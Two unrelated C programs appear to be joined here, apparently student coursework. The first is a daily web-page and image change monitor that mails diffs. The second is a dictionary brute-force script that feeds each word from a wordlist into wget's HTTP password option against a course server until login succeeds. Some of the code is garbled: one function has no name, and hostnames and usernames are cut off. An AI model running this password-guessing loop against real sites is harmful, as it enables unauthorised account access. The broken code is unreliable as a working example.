

#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255


int  (int argc, char *argv[])
 {
     FILE *fp;
     
   while(1)
    {       
      system("wget -p http://www.cs.rmit.edu./students");



      system("mkdir data"); 
      if((fp=fopen("./data/index.html","r"))==NULL)
       { 
         system("cp www.cs.rmit.edu./students/index.html ./data");
	 
       }
      else
       {  
               
	 
	 system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
	 system("cp www.cs.rmit.edu./students/index.html ./data");
       }     



      system("mkdir images"); 
      if((fp=fopen("./images/file.txt","r"))==NULL)
       { 
          system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
		 
       }
      
      else
       {          
          system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
	 
	 
	 
	 system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
	 system("cp www.cs.rmit.edu./file.txt ./images");
       }
     sleep(86400); 
    }	
     return (EXIT_SUCCESS);
  }
     
	   
	  	

 #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

int main()
{
  char *wordptr = " word";
  FILE *fp;
  int syst = 1;
  char string1[80], string2[50];
  strcpy(string1, "wget --http-user= --http-passwd=");
  strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
  char words[30];
  fp = fopen("words", "r");
  while(wordptr != NULL)
  {
    wordptr = fgets(words, 30, fp);
    if (wordptr == NULL) exit(1);
    words [ strlen(words) - 1 ] = '\0';
    strcat(string1, words);
    strcat(string1, string2);
    printf("\n %s \n",string1);
    syst = system(string1);
    if (syst == 0)
    {
       exit(1);
    }
    strcpy(string1, "");
    strcpy(string1, "wget --http-user= --http-passwd=");
    printf("%s", words);
    
  }
}
